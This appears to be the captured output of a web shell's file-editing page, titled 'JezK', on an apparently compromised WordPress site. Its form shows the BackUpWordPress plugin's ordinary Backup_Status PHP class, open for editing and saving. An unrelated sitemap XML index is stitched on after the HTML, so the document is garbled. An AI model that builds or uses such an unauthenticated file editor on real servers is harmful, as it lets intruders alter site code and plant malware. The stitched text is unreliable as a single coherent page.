
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-backup-status.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace HM\BackUpWordPress;

/**
 * Manages status and progress of a backup
 */
class Backup_Status {

	private $filename = &#039;&#039;;
	private $id;

	public function __construct( $id ) {
		$this-&gt;id = $id;
	}

	public function start( $backup_filename, $status_message ) {
		$this-&gt;filename = $backup_filename;
		$this-&gt;set_status( $status_message );
	}

	/**
	 * Get the filename of the backup.
	 *
	 * @return string|null The backup filename.
	 */
	public function get_backup_filename() {

		if ( $this-&gt;is_started() ) {
			$status = json_decode( file_get_contents( $this-&gt;get_status_filepath() ) );

			if ( ! empty( $status-&gt;filename ) ) {
				$this-&gt;filename = $status-&gt;filename;
			}
		}

		return $this-&gt;filename;
	}

	public function is_started() {
		return (bool) file_exists( $this-&gt;get_status_filepath() );
	}

	public function finish() {
		// Delete the backup running file
		if ( file_exists( $this-&gt;get_status_filepath() ) ) {
			unlink( $this-&gt;get_status_filepath() );
		}
	}

	/**
	 * Get the status of the running backup.
	 *
	 * @return string
	 */
	public function get_status() {

		if ( ! file_exists( $this-&gt;get_status_filepath() ) ) {
			return &#039;&#039;;
		}

		$status = json_decode( file_get_contents( $this-&gt;get_status_filepath() ) );

		if ( ! empty( $status-&gt;status ) ) {
			return $status-&gt;status;
		}

		return &#039;&#039;;

	}

	/**
	 * Set the status of the running backup
	 *
	 * @param string $message
	 *
	 * @return null
	 */
	public function set_status( $message ) {

		// If start hasn&#039;t been called yet then we wont&#039; have a backup filename
		if ( ! $this-&gt;filename ) {
			return;
		}

		$status = json_encode( (object) array(
			&#039;filename&#039; =&gt; $this-&gt;filename,
			&#039;started&#039;  =&gt; $this-&gt;get_start_time(),
			&#039;status&#039;   =&gt; $message,
		) );

		file_put_contents( $this-&gt;get_status_filepath(), $status );

	}

	/**
	 * Get the time that the current running backup was started
	 *
	 * @return int $timestamp
	 */
	public function get_start_time() {

		if ( ! file_exists( $this-&gt;get_status_filepath() ) ) {
			return 0;
		}

		$status = json_decode( file_get_contents( $this-&gt;get_status_filepath() ) );

		if ( ! empty( $status-&gt;started ) &amp;&amp; (int) (string) $status-&gt;started === $status-&gt;started ) {
			return $status-&gt;started;
		}

		return time();

	}

	/**
	 * Get the path to the backup running file that stores the running backup status
	 *
	 * @return string
	 */
	public function get_status_filepath() {
		return Path::get_path() . &#039;/.backup-&#039; . $this-&gt;id . &#039;-running&#039;;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
